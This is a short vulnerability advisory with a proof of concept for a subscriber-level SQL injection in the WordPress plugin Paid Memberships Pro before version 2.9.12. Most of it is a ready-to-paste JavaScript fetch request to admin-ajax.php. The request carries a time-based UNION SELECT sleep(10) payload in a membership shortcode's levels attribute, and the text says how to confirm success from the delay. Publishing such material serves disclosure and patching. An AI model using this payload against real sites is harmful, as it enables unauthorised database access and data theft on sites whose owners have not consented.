Paid Memberships Pro < 2.9.12 - Subscriber+ SQL Injection

Proof of Concept

While logged in as a subscriber, send the following request:

(await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[membership delay="Y" levels="(-1)) UNION SELECT sleep(10)-- ,L"]'})).text()

If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.